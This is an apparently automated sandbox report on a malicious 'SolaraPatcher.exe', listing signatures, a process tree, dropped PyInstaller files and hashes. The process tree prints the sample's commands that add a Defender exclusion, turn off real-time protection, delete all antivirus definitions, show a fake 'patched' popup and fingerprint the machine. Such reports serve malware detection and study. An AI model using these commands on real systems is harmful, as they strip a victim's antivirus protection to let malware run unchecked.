Analysis

  • max time kernel
    134s
  • max time network
    138s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    29-05-2024 04:09

General

  • Target

    SolaraPatcher.exe

  • Size

    7.4MB

  • MD5

    902e0f28a81ee39249980688b971cfde

  • SHA1

    1075f10cdceee85ce1ed919e6e51507f3ba20c41

  • SHA256

    81ad8c3a50477ab2151c4cdc3472b380e97c30e6cb96b37da23402d3d5ec85a7

  • SHA512

    4ec54f872761630dff223c117b0b7630f796a810c06d28446187de29f93da63b3ef3991e95a699c6c050c565374e1e7a8de5f637f654f7385dfd32e8c2d22e68

  • SSDEEP

    98304:/IeYgI6OshoKyDvuIYc5AhV+gEc4kZvRLoI0EJfNA3z5UTbdv9JTSPhlVtQo1fw:/VYmOshoKMuIkhVastRL5Di3tK1SPJw

Score
10/10

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Loads dropped DLL 17 IoCs
  • UPX packed file 48 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\SolaraPatcher.exe
    "C:\Users\Admin\AppData\Local\Temp\SolaraPatcher.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:64
    • C:\Users\Admin\AppData\Local\Temp\SolaraPatcher.exe
      "C:\Users\Admin\AppData\Local\Temp\SolaraPatcher.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4528
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SolaraPatcher.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4580
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SolaraPatcher.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4420
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4680
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3268
        • C:\Program Files\Windows Defender\MpCmdRun.exe
          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
          4⤵
          • Deletes Windows Defender Definitions
          PID:2336
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Solara has been patched! Please open Solara', 0, 'Solara Patcher', 48+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:596
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Solara has been patched! Please open Solara', 0, 'Solara Patcher', 48+16);close()"
          4⤵
            PID:4896
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2792
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:2628
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:716
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4016

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      cd5b15b46b9fe0d89c2b8d351c303d2a

      SHA1

      e1d30a8f98585e20c709732c013e926c7078a3c2

      SHA256

      0a8a0dcbec27e07c8dc9ef31622ac41591871416ccd9146f40d8cc9a2421da7a

      SHA512

      d7261b2ff89adcdb909b775c6a47b3cd366b7c3f5cbb4f60428e849582c93e14e76d7dcadec79003eef7c9a3059e305d5e4f6b5b912b9ebc3518e06b0d284dd7

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      1KB

      MD5

      f80e41cfc47f0856b93533a57f5f800e

      SHA1

      8f62f32bbdbca28ec5ae2f749aba0066a04a9357

      SHA256

      7508248a88763f20734235d9f29cc1217a4d4aa81efda6c6b01e7f60d8e5bd7a

      SHA512

      385b622a996e4d6b69f9c32d202aeb8e7da3876a6d7a4d0e29c414b141cd901938ae7c20181b1a0e38f414c40619682dd38dc40735030812d418f6f8d0f686fb

    • C:\Users\Admin\AppData\Local\Temp\_MEI642\VCRUNTIME140.dll

      Filesize

      106KB

      MD5

      49c96cecda5c6c660a107d378fdfc3d4

      SHA1

      00149b7a66723e3f0310f139489fe172f818ca8e

      SHA256

      69320f278d90efaaeb67e2a1b55e5b0543883125834c812c8d9c39676e0494fc

      SHA512

      e09e072f3095379b0c921d41d6e64f4f1cd78400594a2317cfb5e5dca03dedb5a8239ed89905c9e967d1acb376b0585a35addf6648422c7ddb472ce38b1ba60d

    • C:\Users\Admin\AppData\Local\Temp\_MEI642\_bz2.pyd

      Filesize

      48KB

      MD5

      c413931b63def8c71374d7826fbf3ab4

      SHA1

      8b93087be080734db3399dc415cc5c875de857e2

      SHA256

      17bfa656cabf7ef75741003497a1c315b10237805ff171d44625a04c16532293

      SHA512

      7dc45e7e5ed35cc182de11a1b08c066918920a6879ff8e37b6bfbdd7d40bffa39ea4aca778aa8afb99c81a365c51187db046bceb938ce9ace0596f1cf746474f

    • C:\Users\Admin\AppData\Local\Temp\_MEI642\_ctypes.pyd

      Filesize

      58KB

      MD5

      00f75daaa7f8a897f2a330e00fad78ac

      SHA1

      44aec43e5f8f1282989b14c4e3bd238c45d6e334

      SHA256

      9ffadcb2c40ae6b67ab611acc09e050bbe544672cf05e8402a7aa3936326de1f

      SHA512

      f222f0ebf16a5c6d16aa2fba933034e692e26e81fea4d8b008259aff4102fe8acf3807f3b016c24002daa15bb8778d7fef20f4ae1206d5a6e226f7336d4da5d4

    • C:\Users\Admin\AppData\Local\Temp\_MEI642\_hashlib.pyd

      Filesize

      35KB

      MD5

      b227bf5d9fec25e2b36d416ccd943ca3

      SHA1

      4fae06f24a1b61e6594747ec934cbf06e7ec3773

      SHA256

      d42c3550e58b9aa34d58f709dc65dc4ee6eea83b651740822e10b0aa051df1d7

      SHA512

      c6d7c5a966c229c4c7042ef60015e3333dab86f83c230c97b8b1042231fdb2a581285a5a08c33ad0864c6bd82f5a3298964ab317736af8a43e7caa7669298c3e

    • C:\Users\Admin\AppData\Local\Temp\_MEI642\_lzma.pyd

      Filesize

      85KB

      MD5

      542eab18252d569c8abef7c58d303547

      SHA1

      05eff580466553f4687ae43acba8db3757c08151

      SHA256

      d2a7111feeaacac8b3a71727482565c46141cc7a5a3d837d8349166bea5054c9

      SHA512

      b7897b82f1aa9d5aa895c3de810dab1aa335fdf7223e4ff29b32340ad350d9be6b145f95a71c7bc7c88c8df77c3f04853ae4d6f0d5a289721fc1468ecba3f958

    • C:\Users\Admin\AppData\Local\Temp\_MEI642\_sqlite3.pyd

      Filesize

      56KB

      MD5

      1a8fdc36f7138edcc84ee506c5ec9b92

      SHA1

      e5e2da357fe50a0927300e05c26a75267429db28

      SHA256

      8e4b9da9c95915e864c89856e2d7671cd888028578a623e761aeac2feca04882

      SHA512

      462a8f995afc4cf0e041515f0f68600dfd0b0b1402be7945d60e2157ffd4e476cf2ae9cdc8df9595f0fe876994182e3e43773785f79b20c6df08c8a8c47fffa0

    • C:\Users\Admin\AppData\Local\Temp\_MEI642\base_library.zip

      Filesize

      1.8MB

      MD5

      bbbf46529c77f766ef219f4c146e6ef5

      SHA1

      de07c922c7f4ba08bc1a62cf3fabddecc64f877e

      SHA256

      734e277712e823fca86ca75bf5d4f85a21893208e683c4ab407be10c3b9052dc

      SHA512

      3371a3a806dac2cfec59cc42937b348af67e190a8d575efc6a81ec3d8b215f8a0cb94010142f9d02c8881040a2d6b8364d124f85285d9b3b04f36226fb4fae66

    • C:\Users\Admin\AppData\Local\Temp\_MEI642\blank.aes

      Filesize

      123KB

      MD5

      afb4f1fe4cc66a75639a94d4920078dc

      SHA1

      3742f85f1135b6ee5cdb6433e9bc64244b8c288b

      SHA256

      aa13527bf5e9ff4c9f8813a2e14eb374a4530f80a901ab727b580c8becc25b61

      SHA512

      33051addb4f0ba26a2f57ae245754ed424d965b0caf7b8f723b622307e49035690086ca32543c884a1de661b8f726ce67ccb4dcd9171f2246c2e73d09bbeb2e2

    • C:\Users\Admin\AppData\Local\Temp\_MEI642\blank.aes

      Filesize

      123KB

      MD5

      ed5159a87d968e85e448a9640462b5cc

      SHA1

      d8edbfd60ac6fe4b0fa7f0553b942153c1e57eca

      SHA256

      66ec592d8be657b898ff4f61afbf4ed3c22358895821449510df6fcd54a0d46d

      SHA512

      925411454969450809ba2238aae08478fe682fe652adaed91210937c497919b69f128196f585ce06a931830f41900c75e1a0af7bcdae2db2af6f240d9ee2842e

    • C:\Users\Admin\AppData\Local\Temp\_MEI642\libcrypto-3.dll

      Filesize

      1.6MB

      MD5

      78ebd9cb6709d939e4e0f2a6bbb80da9

      SHA1

      ea5d7307e781bc1fa0a2d098472e6ea639d87b73

      SHA256

      6a8c458e3d96f8dd3bf6d3cacc035e38edf7f127eee5563b51f8c8790ced0b3e

      SHA512

      b752769b3de4b78905b0326b5270091642ac89ff204e9e4d78670791a1fa211a54d777aeef59776c21f854c263add163adaef6a81b166190518cfaaf4e2e4122

    • C:\Users\Admin\AppData\Local\Temp\_MEI642\python311.dll

      Filesize

      1.6MB

      MD5

      5f6fd64ec2d7d73ae49c34dd12cedb23

      SHA1

      c6e0385a868f3153a6e8879527749db52dce4125

      SHA256

      ff9f102264d1944fbfae2ba70e7a71435f51a3e8c677fd970b621c4c9ea71967

      SHA512

      c4be2d042c6e4d22e46eacfd550f61b8f55814bfe41d216a4df48382247df70bc63151068513855aa78f9b3d2f10ba6a824312948324c92de6dd0f6af414e8ab

    • C:\Users\Admin\AppData\Local\Temp\_MEI642\select.pyd

      Filesize

      25KB

      MD5

      45d5a749e3cd3c2de26a855b582373f6

      SHA1

      90bb8ac4495f239c07ec2090b935628a320b31fc

      SHA256

      2d15c2f311528440aa29934920fb0b015eaf8cbe3b3c9ad08a282a2d6ba68876

      SHA512

      c7a641d475a26712652a84b8423155ca347e0ec0155bd257c200225a64752453e4763b8885d8fb043b30e92ae023a501fff04777ba5cfe54da9a68071f25fbea

    • C:\Users\Admin\AppData\Local\Temp\_MEI642\unicodedata.pyd

      Filesize

      295KB

      MD5

      8c42fcc013a1820f82667188e77be22d

      SHA1

      fba7e4e0f86619aaf2868cedd72149e56a5a87d4

      SHA256

      0e00b0e896457ecdc6ef85a8989888ccfbf05ebd8d8a1c493946a2f224b880c2

      SHA512

      3a028443747d04d05fdd3982bb18c52d1afee2915a90275264bf5db201bd4612090914c7568f870f0af7dfee850c554b3fec9d387334d53d03da6426601942b4

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fkdla42z.ntc.ps1

      Filesize

      1B

      MD5

      c4ca4238a0b923820dcc509a6f75849b

      SHA1

      356a192b7913b04c54574d18c28d46e6395428ab

      SHA256

      6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

      SHA512

      4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

    • \Users\Admin\AppData\Local\Temp\_MEI642\_queue.pyd

      Filesize

      25KB

      MD5

      347d6a8c2d48003301032546c140c145

      SHA1

      1a3eb60ad4f3da882a3fd1e4248662f21bd34193

      SHA256

      e71803913b57c49f4ce3416ec15dc8a9e5c14f8675209624e76cd71b0319b192

      SHA512

      b1fdb46b80bb4a39513685781d563a7d55377e43e071901930a13c3e852d0042a5302cd238ddf6ea4d35ceee5a613c96996bffad2da3862673a0d27e60ff2c06

    • \Users\Admin\AppData\Local\Temp\_MEI642\_socket.pyd

      Filesize

      43KB

      MD5

      1a34253aa7c77f9534561dc66ac5cf49

      SHA1

      fcd5e952f8038a16da6c3092183188d997e32fb9

      SHA256

      dc03d32f681634e682b02e9a60fdfce420db9f26754aefb9a58654a064dc0f9f

      SHA512

      ff9eeb4ede4b4dd75c67fab30d0dec462b8af9ca6adc1dcae58f0d169c55a98d85bb610b157f17077b8854ec15af4dfab2f0d47fa9bc463e5b2449979a50293a

    • \Users\Admin\AppData\Local\Temp\_MEI642\_ssl.pyd

      Filesize

      65KB

      MD5

      f9cc7385b4617df1ddf030f594f37323

      SHA1

      ebceec12e43bee669f586919a928a1fd93e23a97

      SHA256

      b093aa2e84a30790abeee82cf32a7c2209978d862451f1e0b0786c4d22833cb6

      SHA512

      3f362c8a7542212d455f1f187e24f63c6190e564ade0f24561e7e20375a1f15eb36bd8dce9fdaafdab1d6b348a1c6f7cddb9016e4f3535b49136550bc23454fb

    • \Users\Admin\AppData\Local\Temp\_MEI642\libffi-8.dll

      Filesize

      29KB

      MD5

      08b000c3d990bc018fcb91a1e175e06e

      SHA1

      bd0ce09bb3414d11c91316113c2becfff0862d0d

      SHA256

      135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece

      SHA512

      8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

    • \Users\Admin\AppData\Local\Temp\_MEI642\libssl-3.dll

      Filesize

      223KB

      MD5

      bf4a722ae2eae985bacc9d2117d90a6f

      SHA1

      3e29de32176d695d49c6b227ffd19b54abb521ef

      SHA256

      827fdb184fdcde9223d09274be780fe4fe8518c15c8fc217748ad5fd5ea0f147

      SHA512

      dd83b95967582152c7b5581121e6b69a07073e7a76fe87975742bb0fd7ecef7494ec940dba914364034cc4e3f623be98cc887677b65c208f14a2a9fc7497ca73

    • \Users\Admin\AppData\Local\Temp\_MEI642\sqlite3.dll

      Filesize

      622KB

      MD5

      dbc64142944210671cca9d449dab62e6

      SHA1

      a2a2098b04b1205ba221244be43b88d90688334c

      SHA256

      6e6b6f7df961c119692f6c1810fbfb7d40219ea4e5b2a98c413424cf02dce16c

      SHA512

      3bff546482b87190bb2a499204ab691532aa6f4b4463ab5c462574fc3583f9fc023c1147d84d76663e47292c2ffc1ed1cb11bdb03190e13b6aa432a1cef85c4b

    • memory/4420-91-0x000002A77F540000-0x000002A77F562000-memory.dmp

      Filesize

      136KB

    • memory/4420-97-0x000002A77F6F0000-0x000002A77F766000-memory.dmp

      Filesize

      472KB

    • memory/4528-71-0x000001ABC1190000-0x000001ABC16B0000-memory.dmp

      Filesize

      5.1MB

    • memory/4528-175-0x00007FFA936D0000-0x00007FFA93BF0000-memory.dmp

      Filesize

      5.1MB

    • memory/4528-69-0x00007FFA93BF0000-0x00007FFA941D9000-memory.dmp

      Filesize

      5.9MB

    • memory/4528-64-0x00007FFAA4AD0000-0x00007FFAA4B03000-memory.dmp

      Filesize

      204KB

    • memory/4528-70-0x00007FFA936D0000-0x00007FFA93BF0000-memory.dmp

      Filesize

      5.1MB

    • memory/4528-59-0x00007FFAA7180000-0x00007FFAA718D000-memory.dmp

      Filesize

      52KB

    • memory/4528-56-0x00007FFAA72C0000-0x00007FFAA72D9000-memory.dmp

      Filesize

      100KB

    • memory/4528-53-0x00007FFAA4380000-0x00007FFAA44F7000-memory.dmp

      Filesize

      1.5MB

    • memory/4528-82-0x00007FFAA3E40000-0x00007FFAA3F5C000-memory.dmp

      Filesize

      1.1MB

    • memory/4528-81-0x00007FFAA7710000-0x00007FFAA773D000-memory.dmp

      Filesize

      180KB

    • memory/4528-79-0x00007FFAA4AC0000-0x00007FFAA4ACD000-memory.dmp

      Filesize

      52KB

    • memory/4528-78-0x00007FFAA7160000-0x00007FFAA7174000-memory.dmp

      Filesize

      80KB

    • memory/4528-77-0x00007FFAA7750000-0x00007FFAA7773000-memory.dmp

      Filesize

      140KB

    • memory/4528-52-0x00007FFAA72E0000-0x00007FFAA7303000-memory.dmp

      Filesize

      140KB

    • memory/4528-48-0x00007FFAA7310000-0x00007FFAA7329000-memory.dmp

      Filesize

      100KB

    • memory/4528-44-0x00007FFAA7710000-0x00007FFAA773D000-memory.dmp

      Filesize

      180KB

    • memory/4528-169-0x00007FFAA72E0000-0x00007FFAA7303000-memory.dmp

      Filesize

      140KB

    • memory/4528-66-0x00007FFAA4900000-0x00007FFAA49CD000-memory.dmp

      Filesize

      820KB

    • memory/4528-36-0x00007FFAA7740000-0x00007FFAA774F000-memory.dmp

      Filesize

      60KB

    • memory/4528-182-0x00007FFAA7710000-0x00007FFAA773D000-memory.dmp

      Filesize

      180KB

    • memory/4528-181-0x00007FFAA7740000-0x00007FFAA774F000-memory.dmp

      Filesize

      60KB

    • memory/4528-180-0x00007FFAA4AC0000-0x00007FFAA4ACD000-memory.dmp

      Filesize

      52KB

    • memory/4528-179-0x00007FFA93BF0000-0x00007FFA941D9000-memory.dmp

      Filesize

      5.9MB

    • memory/4528-178-0x00007FFAA3E40000-0x00007FFAA3F5C000-memory.dmp

      Filesize

      1.1MB

    • memory/4528-174-0x00007FFAA4900000-0x00007FFAA49CD000-memory.dmp

      Filesize

      820KB

    • memory/4528-173-0x00007FFAA4AD0000-0x00007FFAA4B03000-memory.dmp

      Filesize

      204KB

    • memory/4528-172-0x00007FFAA7180000-0x00007FFAA718D000-memory.dmp

      Filesize

      52KB

    • memory/4528-171-0x00007FFAA72C0000-0x00007FFAA72D9000-memory.dmp

      Filesize

      100KB

    • memory/4528-170-0x00007FFAA4380000-0x00007FFAA44F7000-memory.dmp

      Filesize

      1.5MB

    • memory/4528-168-0x00007FFAA7310000-0x00007FFAA7329000-memory.dmp

      Filesize

      100KB

    • memory/4528-165-0x00007FFAA7750000-0x00007FFAA7773000-memory.dmp

      Filesize

      140KB

    • memory/4528-176-0x00007FFAA7160000-0x00007FFAA7174000-memory.dmp

      Filesize

      80KB

    • memory/4528-33-0x00007FFAA7750000-0x00007FFAA7773000-memory.dmp

      Filesize

      140KB

    • memory/4528-29-0x00007FFA93BF0000-0x00007FFA941D9000-memory.dmp

      Filesize

      5.9MB